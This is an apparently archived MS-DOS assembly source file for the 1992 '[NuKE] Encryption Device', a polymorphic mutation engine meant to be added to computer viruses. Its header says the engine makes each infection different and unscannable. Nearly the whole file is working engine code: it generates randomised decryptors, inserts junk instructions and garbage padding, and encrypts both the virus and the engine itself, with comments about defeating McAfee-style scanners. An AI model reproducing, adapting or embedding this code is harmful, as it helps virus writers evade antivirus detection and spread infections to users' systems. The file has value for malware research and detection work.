MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.ned09.asm
2021-01-12 17:52:14 -06:00

958 lines
34 KiB
NASM

;******************************************************************************
; [NuKE] BETA TEST VERSION -- NOT FOR PUBLIC RELEASE!
;
; This product is not to be distributed to ANYONE without the complete and
; total agreement of both the author(s) and [NuKE]. This applies to all
; source code, executable code, documentation, and other files included in
; this package.
;
; Unless otherwise specifically stated, even the mere existance of this
; product is not to be mentioned to or discussed in any fashion with ANYONE,
; except with the author(s) and/or other [NuKE] members.
;
; WARNING: This product has been marked in such a way that, if an
; unauthorized copy is discovered ANYWHERE, the violation can be easily
; traced back to its source, who will be located and punished.
; YOU HAVE BEEN WARNED.
;******************************************************************************
;*******************************************************************************
; The [NuKE] Encryption Device v0.90á
;
; (C) 1992 Nowhere Man and [NuKE] International Software Development Corp.
; All Rights Reserved. Unauthorized use strictly prohibited.
;
;*******************************************************************************
; Written by Nowhere Man
; October 18, 1992
; Version 0.90á
;*******************************************************************************
;
; Synopsis: The [NuKE] Encryption Device (N.E.D.) is a polymorphic mutation
; engine, along the lines of Dark Avenger's now-famous MtE.
; Unlike MtE, however, N.E.D. can't be SCANned, and probably will
; never be, either, since there is no reliable pattern between
; mutations, and the engine itself (and its RNG) are always
; kept encrypted.
;
; N.E.D. is easily be added to a virus. Every infection with
; that virus will henceforth be completely different from all
; others, and all will be unscannable, thanks to the Cryptex(C)
; polymorphic mutation algorithm.
;
; N.E.D. only adds about 15 or so bytes of decryption code
; (probably more, depending on which options are enabled), plus
; the 1355 byte overhead needed for the engine itself (about half
; the size of MtE!).
;*******************************************************************************
;*******************************************************************************
; Segment declarations
;*******************************************************************************
.model tiny
.code
;*******************************************************************************
; Equates used to save three bytes of code (was it worth it?)
;*******************************************************************************
load_point equ si + _load_point - ned_start
encr_instr equ si + _encr_instr - ned_start
store_point equ si + _store_point - ned_start
buf_ptr equ si + _buf_ptr - ned_start
copy_len equ si + _copy_len - ned_start
copy_off equ si + _copy_off - ned_start
v_start equ si + _v_start - ned_start
options equ si + _options - ned_start
byte_word equ si + _byte_word - ned_start
up_down equ si + _up_down - ned_start
mem_reg equ si + _mem_reg - ned_start
loop_reg equ si + _loop_reg - ned_start
key_reg equ si + _key_reg - ned_start
mem_otr equ si + _mem_otr - ned_start
used_it equ si + _used_it - ned_start
jump_here equ si + _jump_here - ned_start
adj_here equ si + _adj_here - ned_start
word_adj_table equ si + _word_adj_table - ned_start
byte_adj_table equ si + _byte_adj_table - ned_start
the_key equ si + _the_key - ned_start
crypt_type equ si + _crypt_type - ned_start
op_byte equ si + _op_byte - ned_start
rev_op_byte equ si + _rev_op_byte - ned_start
modr_m equ si + _modr_m - ned_start
dummy_word_cmd equ si + _dummy_word_cmd - ned_start
dummy_three_cmd equ si + _dummy_three_cmd - ned_start
tmp_jmp_store equ si + _tmp_jmp_store - ned_start
jump_table equ si + _jump_table - ned_start
rand_val equ si + _rand_val - ned_start
;******************************************************************************
; Publics
;******************************************************************************
public nuke_enc_dev
public ned_end
;*******************************************************************************
; [NuKE] Encryption Device begins here....
;*******************************************************************************
ned_begin label near ; Start of the N.E.D.'s code
;******************************************************************************
; nuke_enc_dev
;
; This procedure merely calls ned_main.
;
; Arguments: Same as ned_main; this is a shell procedure
;
; Returns: Same as ned_main; this is a shell procedure
;******************************************************************************
nuke_enc_dev proc near
public nuke_enc_dev ; Name in .OBJs and .LIBs
push bx ;
push cx ;
push dx ; Preserve registers
push si ; (except for AX, which is
push di ; used to return something)
push bp ;
call ned_main ; Call the [NuKE] Encryption
; Device, in all it's splendor
pop bp ;
pop di ;
pop si ;
pop dx ; Restore registers
pop cx ;
pop bx ;
ret ; Return to the main virus
; This the copyright message (hey, I wrote the thing, so I can waste a few
; bytes bragging...).
copyright db 13,10
db "[NuKE] Encryption Device v0.90á",13,10
db "(C) 1992 Nowhere Man and [NuKE]",13,10,0
nuke_enc_dev endp
;******************************************************************************
; ned_main
;
; Fills a buffer with a random decryption routine and encrypted viral code.
;
; Arguments: AX = offset of buffer to hold data
; BX = offset of code start
; CX = offset of the virus in memory (next time around!)
; DX = length of code to copy and encrypt
; SI = options:
; bit 0: dummy instructions
; bit 1: MOV variance
; bit 2: ADD/SUB substitution
; bit 3: garbage code
; bit 4: don't assume DS = CS
; bits 5-15: reserved
;
; Returns: AX = size of generated decryption routine and encrypted code
;******************************************************************************
ned_main proc near
mov di,si ; We'll need SI, so use DI
not di ; Reverse all bits for TESTs
call ned_start ; Ah, the old virus trick
ned_start: pop si ; for getting our offset...
mov word ptr [used_it],0 ; A truely hideous way to
mov word ptr [used_it + 2],0; reset the register usage
mov word ptr [used_it + 4],0; flags...
mov byte ptr [used_it + 6],0;
add dx,ned_end - ned_begin ; Be sure to encrypt ourself!
mov word ptr [buf_ptr],ax ; Save the function
mov word ptr [copy_off],bx ; arguments in an
mov word ptr [v_start],cx ; internal buffer
mov word ptr [copy_len],dx ; for later use
mov word ptr [options],di ;
xchg di,ax ; Need the buffer offset in DI
mov ax,2 ; Select a random number
call rand_num ; between 0 and 1
mov word ptr [byte_word],ax ; Save byte/word flag
mov ax,2 ; Select another random number
call rand_num ; between 0 and 1
xor ax,ax ; !!!!DELETE ME!!!!
mov word ptr [up_down],ax ; Save up/down flag
mov ax,4 ; Select a random number
call rand_num ; between 0 and 3
mov word ptr [mem_reg],ax ; Save memory register
xchg bx,ax ; Place in BX for indexing
shl bx,1 ; Convert to word index
mov bx,word ptr [mem_otr + bx] ; Get register number
inc byte ptr [used_it + bx] ; Cross off register
xor cx,cx ; We need a word register
call random_reg ; Get a random register
inc byte ptr [used_it + bx] ; Cross it off...
mov word ptr [loop_reg],ax ; Save loop register
mov ax,2 ; Select a random number
call rand_num ; between 0 and 1
or ax,ax ; Does AX = 0?
je embedded_key ; If so, the key's embedded
mov cx,word ptr [byte_word] ; CX holds the byte word flag
neg cx ; By NEGating CX and adding one
inc cx ; CX will be flip-flopped
call random_reg ; Get a random register
inc byte ptr [used_it + bx] ; Cross it off...
mov word ptr [key_reg],ax ; Save key register
jmp short create_routine ; Ok, let's get to it!
embedded_key: mov word ptr [key_reg],-1 ; Set embedded key flag
create_routine: call add_nop ; Add a do-nothing instruction?
mov ax,2 ; Select a random number
call rand_num ; between 0 and 1
or ax,ax ; Does AX = 0?
je pointer_first ; If so, load pointer then count
call load_count ; Load start register
call add_nop ; Add a do-nothing instruction?
call load_pointer ; Load pointer register
jmp short else_end1 ; Skip the ELSE part
pointer_first: call load_pointer ; Load start register
call add_nop ; Add a do-nothing instruction?
call load_count ; Load count register
else_end1: call add_nop ; Add a do-nothing instruction?
call load_key ; Load encryption key
call add_nop ; Add a do-nothing instruction?
mov word ptr [jump_here],di ; Save the offset of the loop
call add_decrypt ; Create the decryption code
call add_nop ; Add a do-nothing instruction?
call adjust_ptr ; Adjust the memory pointer
call add_nop ; Add a do-nothing instruction?
call end_loop ; End the decryption loop
call random_fill ; Pad with random bullshit?
mov ax,di ; AX points to our current place
sub ax,word ptr [buf_ptr] ; AX now holds # bytes written
mov bx,word ptr [adj_here] ; Find where we need to adjust
add word ptr [bx],ax ; Adjust the starting offset
add ax,word ptr [copy_len] ; Add length of encrypted code
push ax ; Save this for later
mov bx,word ptr [crypt_type]; BX holds encryption type
mov bl,byte ptr [rev_op_byte + bx] ; Load encryption byte
mov bh,0D8h ; Fix a strange problem...
mov word ptr [encr_instr],bx; Save it into our routine
mov cx,word ptr [copy_len] ; CX holds # of bytes to encrypt
cmp word ptr [byte_word],0 ; Are we doing it by bytes?
je final_byte_k ; If so, reset LODS/STOS stuff
mov byte ptr [load_point],0ADh ; Change it to a LODSW
mov byte ptr [store_point],0ABh ; Change it to a STOSW
shr cx,1 ; Do half as many repetitions
mov bx,word ptr [the_key] ; Reload the key
inc byte ptr [encr_instr] ; Fix up for words...
jmp short encrypt_virus ; Let's go!
final_byte_k: mov byte ptr [load_point],0ACh ; Change it to a LODSW
mov byte ptr [store_point],0AAh ; Change it to a STOSW
mov bl,byte ptr [the_key] ; Ok, so I did this poorly...
encrypt_virus: mov si,word ptr [copy_off] ; SI points to the original code
; This portion of the code is self-modifying. It may be bad style, but
; it's far more efficient than writing six or so different routines...
_load_point: lodsb ; Load a byte/word into AL
_encr_instr: xor al,bl ; Encrypt the byte/word
_store_point: stosb ; Store the byte/word at ES:[DI]
loop _load_point ; Repeat until all bytes done
; Ok, we're through... back to normal
pop ax ; AX holds routine length
ret ; Return to caller
_buf_ptr dw ? ; Pointer: storage buffer
_copy_len dw ? ; Integer: # bytes to copy
_copy_off dw ? ; Pointer: original code
_v_start dw ? ; Pointer: virus start in file
_options dw ? ; Integer: bits set options
_byte_word dw ? ; Boolean: 0 = byte, 1 = word
_up_down dw ? ; Boolean: 0 = up, 1 = down
_mem_reg dw ? ; Integer: 0-4 (SI, DI, BX, BP)
_loop_reg dw ? ; Integer: 0-6 (AX, BX, etc.)
_key_reg dw ? ; Integer: -1 = internal
_mem_otr dw 4,5,1,6 ; Array: Register # for mem_reg
_used_it db 7 dup (0) ; Array: 0 = unused, 1 = used
_jump_here dw ? ; Pointer: Start of loop
_adj_here dw ? ; Pointer: Where to adjust
ned_main endp
;******************************************************************************
; load_count
;
; Adds code to load the count register, which stores the number of
; iterations that the decryption loop must make. if _byte_word = 0
; then this value is equal to the size of the code to be encrypted;
; if _byte_word = 1 (increment by words), it is half that length
; (since two bytes are decrypted at a time).
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
load_count proc near
mov bx,word ptr [loop_reg] ; BX holds register number
mov dx,word ptr [copy_len] ; DX holds size of virus
mov cx,word ptr [byte_word] ; Neat trick to divide by
shr dx,cl ; two if byte_word = 1
mov cx,1 ; We're doing a word register
call gen_mov ; Generate a move
ret ; Return to caller
_word_adj_table db 00h, 03h, 01h, 02h, 06h, 07h, 05h ; Array: ModR/M adj.
_byte_adj_table db 04h, 00h, 07h, 03h, 05h, 01h, 06h, 02h ; Array ""/byte
load_count endp
;******************************************************************************
; load_pointer
;
; Adds code to load the pointer register, which points to the byte
; or word of memory that is to be encrypted. Due to the flaws of
; 8086 assembly language, only the SI, DI, BX, and BP registers may
; be used.
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;******************************************************************************
load_pointer proc near
mov bx,word ptr [mem_reg] ; BX holds register number
shl bx,1 ; Convert to word index
mov bx,word ptr [mem_otr + bx] ; Convert register number
mov al,byte ptr [word_adj_table + bx] ; Table look-up
add al,0B8h ; Create a MOV instruction
stosb ; Store it in the code
mov word ptr [adj_here],di ; Save our current offset
mov ax,word ptr [v_start] ; AX points to virus (in host)
cmp word ptr [up_down],0 ; Are we going upwards?
je no_adjust ; If so, no ajustment needed
add ax,word ptr [copy_len] ; Point to end of virus
no_adjust: stosw ; Store the start offset
ret ; Return to caller
load_pointer endp
;******************************************************************************
; load_key
;
; Adds code to load the encryption key into a register. If _byte_word = 0
; a 8-bit key is used; if it is 1 then a 16-bit key is used. If the key
; is supposed to be embedded, no code is generated at this point.
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
load_key proc near
mov ax,0FFFFh ; Select a random number
call rand_num ; between 0 and 65534
inc ax ; Eliminate any null keys
mov word ptr [the_key],ax ; Save key for later
mov bx,word ptr [key_reg] ; DX holds the register number
cmp bx,-1 ; Is the key embedded?
je blow_this_proc ; If so, just leave now
xchg dx,ax ; DX holds key
mov cx,word ptr [byte_word] ; CX holds byte/word flag
call gen_mov ; Load the key into the register
blow_this_proc: ret ; Return to caller
_the_key dw ? ; Integer: The encryption key
load_key endp
;******************************************************************************
; add_decrypt
;
; Adds code to dencrypt a byte or word (pointed to by the pointer register)
; by either a byte or word register or a fixed byte or word.
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
add_decrypt proc near
test word ptr [options],010000b ; Do we need a CS: override
jne no_override ; If not, don't add it...
mov al,02Eh ; Store a code-segment
stosb ; override instruction (CS:)
no_override: mov ax,3 ; Select a random number
call rand_num ; between 0 and 2
mov word ptr [crypt_type],ax; Save encryption type
xchg bx,ax ; Now transfer it into BX
mov ax,word ptr [byte_word] ; 0 if byte, 1 if word
cmp word ptr [key_reg],-1 ; Is the key embedded?
je second_case ; If so, it's a different story
add al,byte ptr [op_byte + bx] ; Adjust by operation type
stosb ; Place the byte in the code
mov ax,word ptr [mem_reg] ; AX holds register number
mov cl,3 ; To get the ModR/M table
shl ax,cl ; offset, multiply by eight
mov bx,word ptr [key_reg] ; BX holds key register number
cmp word ptr [byte_word],0 ; Is this a byte?
je byte_by_reg ; If so, special case
mov bl,byte ptr [word_adj_table + bx] ; Create ModR/M
jmp short store_it_now ; Now save the byte
byte_by_reg: mov bl,byte ptr [byte_adj_table + bx] ; Create ModR/M
store_it_now: xor bh,bh ; Clear out any old data
add bx,ax ; Add the first index
mov al,byte ptr [modr_m + bx] ; Table look-up
stosb ; Save it into the code
cmp word ptr [mem_reg],3 ; Are we using BP?
jne a_d_exit1 ; If not, leave
xor al,al ; For some dumb reason we'll
stosb ; have to specify a 0 adjustment
a_d_exit1: ret ; Return to caller
second_case: add al,080h ; Create the first byte
stosb ; and store it in the code
mov al,byte ptr [op_byte + bx] ; Load up the OP byte
mov bx,word ptr [mem_reg] ; BX holds register number
mov cl,3 ; To get the ModR/M table
shl bx,cl ; offset, multiply by eight
add al,byte ptr [modr_m + bx] ; Add result of table look-up
stosb ; Save it into the code
cmp word ptr [mem_reg],3 ; Are we using BP?
jne store_key ; If not, store the key
xor al,al ; For some dumb reason we'll
stosb ; have to specify a 0 adjustment
store_key: cmp word ptr [byte_word],0 ; Is this a byte?
je byte_by_byte ; If so, special case
mov ax,word ptr [the_key] ; Load up *the key*
stosw ; Save the whole two bytes!
jmp short a_d_exit2 ; Let's split, man
byte_by_byte: mov al,byte ptr [the_key] ; Load up *the key*
stosb ; Save it into the code
a_d_exit2: ret ; Return to caller
_crypt_type dw ? ; Integer: Type of encryption
_op_byte db 030h,000h,028h ; Array: OP byte of instruction
_rev_op_byte db 030h,028h,000h ; Array: Reverse OP byte of ""
_modr_m db 004h, 00Ch, 014h, 01Ch, 024h, 02Ch, 034h, 03Ch ; SI
db 005h, 00Dh, 015h, 01Dh, 025h, 02Dh, 035h, 03Dh ; DI
db 007h, 00Fh, 017h, 01Fh, 027h, 02Fh, 037h, 03Fh ; BX
db 046h, 04Eh, 056h, 05Eh, 066h, 06Eh, 076h, 07Eh ; BP
add_decrypt endp
;******************************************************************************
; adjust_ptr
;
; Adds code to adjust the memory pointer. There are two possible choices:
; INC/DEC and ADD/SUB (inefficient, but provides variation).
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
adjust_ptr proc near
mov cx,word ptr [byte_word] ; CX holds byte/word flag
inc cx ; Increment; now # INCs/DECs
mov bx,word ptr [mem_reg] ; BX holds register number
shl bx,1 ; Convert to word index
mov bx,word ptr [mem_otr + bx] ; Convert register number
mov dx,word ptr [up_down] ; DX holds up/down flag
call gen_add_sub ; Create code to adjust pointer
ret ; Return to caller
adjust_ptr endp
;******************************************************************************
; end_loop
;
; Adds code to adjust the count variable, test to see if it's zero,
; and repeat the decryption loop if it is not. There are three possible
; choices: LOOP (only if the count register is CX), SUB/JNE (inefficient,
; but provides variation), and DEC/JNE (best choice for non-CX registers).
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
end_loop proc near
mov bx,word ptr [loop_reg] ; BX holds register number
cmp bx,2 ; Are we using CX?
jne dec_jne ; If not, we can't use LOOP
mov ax,2 ; Select a random number
call rand_num ; between 0 and 1
or ax,ax ; Does AX = 0?
jne dec_jne ; If not, standard ending
mov al,0E2h ; We'll do a LOOP instead
stosb ; Save the OP byte
jmp short store_jmp_loc ; Ok, now find the offset
dec_jne: mov cx,1 ; Only adjust by one
mov dx,1 ; We're subtracting...
call gen_add_sub ; Create code to adjust count
mov al,075h ; We'll do a JNE to save
stosb ; Store a JNE OP byte
store_jmp_loc: mov ax,word ptr [jump_here] ; Find old offset
sub ax,di ; Adjust relative jump
dec ax ; Adjust by one (DI is off)
stosb ; Save the jump offset
ret ; Return to caller
end_loop endp
;******************************************************************************
; add_nop
;
; Adds between 0 and 3 do-nothing instructions to the code, if they are
; allowed by the user (bit 0 set).
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
add_nop proc near
push ax ; Save AX
push bx ; Save BX
push cx ; Save CX
test word ptr [options],0001b; Are we allowing these?
jne outta_here ; If not, don't add 'em
mov ax,2 ; Select a random number
call rand_num ; between 0 and 1
or ax,ax ; Does AX = 0?
je outta_here ; If so, don't add any NOPs...
mov ax,4 ; Select a random number
call rand_num ; between 0 and 3
xchg cx,ax ; CX holds repetitions
jcxz outta_here ; CX = 0? Split...
add_nop_loop: mov ax,4 ; Select a random number
call rand_num ; between 0 and 3
or ax,ax ; Does AX = 0?
je two_byter ; If so, a two-byte instruction
cmp ax,1 ; Does AX = 1?
je three_byter ; If so, a three-byte instruction
mov al,090h ; We'll do a NOP instead
stosb ; Store it in the code
jmp short loop_point ; Complete the loop
two_byter: mov ax,34 ; Select a random number
call rand_num ; between 0 and 33
xchg bx,ax ; Place in BX for indexing
shl bx,1 ; Convert to word index
mov ax,word ptr [dummy_word_cmd + bx] ; Get dummy command
stosw ; Save it in the code...
jmp short loop_point ; Complete the loop
three_byter: mov ax,16 ; Select a random number
call rand_num ; between 0 and 15
mov bx,ax ; Place in BX for indexing
shl bx,1 ; Convert to word index
add bx,ax ; Add back value (BX = BX * 3)
mov ax,word ptr [dummy_three_cmd + bx] ; Get dummy command
stosw ; Save it in the code...
mov al,byte ptr [dummy_three_cmd + bx + 2]
stosb ; Save the final byte, too
loop_point: loop add_nop_loop ; Repeat 0-2 more times
outta_here: pop cx ; Restore CX
pop bx ; Restore BX
pop ax ; Restore AX
ret ; Return to caller
_dummy_word_cmd: ; Useless instructions,
; two bytes each
mov ax,ax
mov bx,bx
mov cx,cx
mov dx,dx
mov si,si
mov di,di
mov bp,bp
xchg bx,bx
xchg cx,cx
xchg dx,dx
xchg si,si
xchg di,di
xchg bp,bp
nop
nop
inc ax
dec ax
inc bx
dec bx
inc cx
dec cx
inc dx
dec dx
inc si
dec si
inc di
dec di
inc bp
dec bp
cmc
cmc
jmp short $ + 2
je $ + 2
jne $ + 2
jg $ + 2
jge $ + 2
jl $ + 2
jle $ + 2
jo $ + 2
jpe $ + 2
jpo $ + 2
js $ + 2
jcxz $ + 2
_dummy_three_cmd: ; Useless instructions,
; three bytes each
xor ax,0
or ax,0
add ax,0
add bx,0
add cx,0
add dx,0
add si,0
add di,0
add bp,0
sub ax,0
sub bx,0
sub cx,0
sub dx,0
sub si,0
sub di,0
sub bp,0
add_nop endp
;******************************************************************************
; gen_mov
;
; Adds code to load a register with a value. If MOV variance is enabled,
; inefficient, sometimes strange, methods may be used; if it is disabled,
; a standard MOV is used (wow). Various alternate load methods include
; loading a larger value then subtracting the difference, loading a
; smaller value the adding the difference, loading an XORd value then
; XORing it by a key that will correct the difference, loading an incorrect
; value and NEGating or NOTing it to correctness, and loading a false
; value then loading the correct one.
;
; Arguments: BX = register number
; CX = 0 for byte register, 1 for word register
; DX = value to store
; SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
gen_mov proc
test word ptr [options],0010b; Do we allow wierd moves?
je quick_fixup ; If so, short jump over JMP
jmp make_mov ; If not, standard MOV
quick_fixup: jcxz byte_index_0 ; If we're doing a byte, index
mov bl,byte ptr [word_adj_table + bx] ; Table look-up
jmp short get_rnd_num ; Ok, get a random number now
byte_index_0: mov bl,byte ptr [byte_adj_table + bx] ; Table look-up
get_rnd_num: mov ax,7 ; Select a random number
call rand_num ; between 0 and 6
shl ax,1 ; Convert AX into word index
lea bp,word ptr [jump_table] ; BP points to jump table
add bp,ax ; BP now points to the offset
mov ax,word ptr [bp] ; AX holds the jump offset
add ax,si ; Adjust by our own offset
mov word ptr [tmp_jmp_store],ax ; Store in scratch variable
mov ax,0FFFFh ; Select a random number
call rand_num ; between 0 and 65564
xchg bp,ax ; Place random number in BP
jmp word ptr [tmp_jmp_store]; JuMP to a load routine!
load_move: xchg dx,bp ; Swap DX and BP
call make_mov ; Load BP (random) in register
call add_nop ; Add a do-nothing instruction?
xchg dx,bp ; DX now holds real value
jmp short make_mov ; Load real value in reigster
load_sub: add dx,bp ; Add random value to load value
call make_mov ; Create a MOV instruction
call add_nop ; Add a do-nothing instruction?
mov ah,0E8h ; We're doing a SUB
jmp short make_add_sub ; Create the SUB instruction
load_add: sub dx,bp ; Sub. random from load value
call make_mov ; Create a MOV instruction
call add_nop ; Add a do-nothing instruction?
mov ah,0C0h ; We're doing an ADD
jmp short make_add_sub ; Create the ADD instruction
load_xor: xor dx,bp ; XOR load value by random
call make_mov ; Create a MOV instruction
call add_nop ; Add a do-nothing instruction?
mov ah,0F0h ; We're doing an XOR
jmp short make_add_sub ; Create the XOR instruction
load_not: not dx ; Two's-compliment DX
call make_mov ; Create a MOV instruction
call add_nop ; Add a do-nothing instruction?
load_not2: mov al,0F6h ; We're doing a NOT/NEG
add al,cl ; If it's a word, add one
stosb ; Store the byte
mov al,0D0h ; Initialize the ModR/M byte
add al,bl ; Add back the register info
stosb ; Store the byte
ret ; Return to caller
load_neg: neg dx ; One's-compliment DX
call make_mov ; Create a MOV instruction
add bl,08h ; Change the NOT into a NEG
jmp short load_not2 ; Reuse the above code
make_mov: mov al,0B0h ; Assume it's a byte for now
add al,bl ; Adjust by register ModR/M
jcxz store_mov ; If we're doing a byte, go on
add al,008h ; Otherwise, adjust for word
store_mov: stosb ; Store the OP byte
mov ax,dx ; AX holds the load value
put_byte_or_wd: jcxz store_byte ; If it's a byte, store it
stosw ; Otherwise store a whole word
ret ; Return to caller
store_byte: stosb ; Store the byte in the code
ret ; Return to caller
make_add_sub: mov al,080h ; Create the OP byte
add al,cl ; If it's a word, add one
stosb ; Store the byte
mov al,ah ; AL now holds ModR/M byte
add al,bl ; Add back the register ModR/M
stosb ; Store the byte in the code
xchg bp,ax ; AX holds the ADD/SUB value
jmp short put_byte_or_wd ; Reuse the above code
_tmp_jmp_store dw ? ; Pointer: temp. storage
_jump_table dw load_sub - ned_start, load_add - ned_start
dw load_xor - ned_start, load_not - ned_start
dw load_neg - ned_start, load_move - ned_start
dw make_mov - ned_start
gen_mov endp
;******************************************************************************
; gen_add_sub
;
; Adds code to adjust a register either up or down. A random combination
; of ADD/SUBs and INC/DECs is used to increase code variability. Note
; that this procedure will only work on *word* registers; attempts to
; use this procedure for byte registers (AH, AL, etc.) may result in
; invalid code being generated.
;
; Arguments: BX = ModR/M table offset for register
; CX = Number to be added/subtracted from the register
; DX = 0 for addition, 1 for subtraction
; SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
gen_add_sub proc near
jcxz exit_g_a_s ; Exit if there's no adjustment
add_sub_loop: call add_nop ; Add a do-nothing instruction?
cmp cx,3 ; Have to adjust > 3 bytes?
ja use_add_sub ; If so, no way we use INC/DEC!
test word ptr [options],0100b; Are ADD/SUBs allowed?
jne use_inc_dec ; If not, only use INC/DECs
mov ax,3 ; Select a random number
call rand_num ; between 0 and 2
or ax,ax ; Does AX = 0?
je use_add_sub ; If so, use ADD or SUB
use_inc_dec: mov al,byte ptr [word_adj_table + bx] ; Table look-up
add al,040h ; It's an INC...
or dx,dx ; Are we adding?
je store_it0 ; If so, store it
add al,08h ; Otherwise create a DEC
store_it0: stosb ; Store the byte
dec cx ; Subtract one fromt total count
jmp short cxz_check ; Finish off the loop
use_add_sub: mov ax,2 ; Select a random number
call rand_num ; between 0 and 1
shl ax,1 ; Now it's either 0 or 2
mov bp,ax ; Save the value for later
add al,081h ; We're going to be stupid
stosb ; and use an ADD or SUB instead
mov al,byte ptr [word_adj_table + bx] ; Table look-up
add al,0C0h ; It's an ADD...
or dx,dx ; Are we adding?
je store_it1 ; If so, store it
add al,028h ; Otherwise create a SUB
store_it1: stosb ; Store the byte
mov ax,cx ; Select a random number
call rand_num ; between 0 and (CX - 1)
inc ax ; Ok, add back one
or bp,bp ; Does BP = 0?
je long_form ; If so, it's the long way
stosb ; Store the byte
jmp short sub_from_cx ; Adjust the count now...
long_form: stosw ; Store the whole word
sub_from_cx: sub cx,ax ; Adjust total count by AX
cxz_check: or cx,cx ; Are we done yet?
jne add_sub_loop ; If not, repeat until we are
exit_g_a_s: ret ; Return to caller
gen_add_sub endp
;******************************************************************************
; random_fill
;
; Pads out the decryption with random garbage; this is only enabled if
; bit 3 of the options byte is set.
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
random_fill proc near
test word ptr [options],01000b ; Are we allowing this?
jne exit_r_f ; If not, don't add garbage
mov ax,2 ; Select a random number
call rand_num ; between 0 and 1
xchg cx,ax ; Wow! A shortcut to save
jcxz exit_r_f ; a byte! If AX = 0, exit
mov ax,101 ; Select a random number
call rand_num ; between 0 and 100
xchg cx,ax ; Transfer to CX for LOOP
jcxz exit_r_f ; If CX = 0 then exit now...
mov al,0EBh ; We'll be doing a short
stosb ; jump over the code...
mov ax,cx ; Let's get that value back
stosb ; We'll skip that many bytes
garbage_loop: mov ax,0FFFFh ; Select a random number
call rand_num ; between 0 and 65534
stosb ; Store a random byte
loop garbage_loop ; while (--_CX == 0);
exit_r_f: ret ; Return to caller
random_fill endp
;******************************************************************************
; random_reg
;
; Returns the number of a random register. If CX = 1, a byte register is
; used; if CX = 0, a word register is selected.
;
; Arguments: CX = 0 for word, 1 for byte
; SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: AX = register number
; BX = register's offset in cross-off table (used_it)
;******************************************************************************
random_reg proc near
get_rand_reg: mov ax,cx ; Select a random number
add ax,7 ; between 0 and 6 for words
call rand_num ; or 0 and 7 for bytes
mov bx,ax ; Place in BX for indexing
shr bx,cl ; Divide by two for bytes only
cmp byte ptr [used_it + bx],0 ; Register conflict?
jne get_rand_reg ; If so, try again
ret ; Return to caller
random_reg endp
;******************************************************************************
; rand_num
;
; Random number generation procedure for the N.E.D. This procedure can
; be safely changed without affecting the rest of the module, with the
; following restrictions: all registers that are changed must be preserved
; (except, of course, AX), and AX must return a random number between
; 0 and (BX - 1). This routine was kept internal to avoid the mistake
; that MtE made, that is using a separate .OBJ file for the RNG. (When
; a separate file is used, the RNG's location isn't neccessarily known,
; and therefore the engine can't encrypt it. McAfee, etc. scan for
; the random-number generator.)
;
; Arguments: BX = maximum random number + 1
;
; Returns: AX = psuedo-random number between 0 and (BX - 1)
;******************************************************************************
rand_num proc near
push dx ; Save DX
push cx ; Save CX
push ax ; Save AX
rol word ptr [rand_val],1 ; Adjust seed for "randomness"
add word ptr [rand_val],0754Eh ; Adjust it again
xor ah,ah ; BIOS get timer function
int 01Ah
xor word ptr [rand_val],dx ; XOR seed by BIOS timer
xor dx,dx ; Clear DX for division...
mov ax,word ptr [rand_val] ; Return number in AX
pop cx ; CX holds max value
div cx ; DX = AX % max_val
xchg dx,ax ; AX holds final value
pop cx ; Restore CX
pop dx ; Restore DX
ret ; Return to caller
_rand_val dw 0 ; Seed for generator
rand_num endp
ned_end label near ; The end of the N.E.D.
end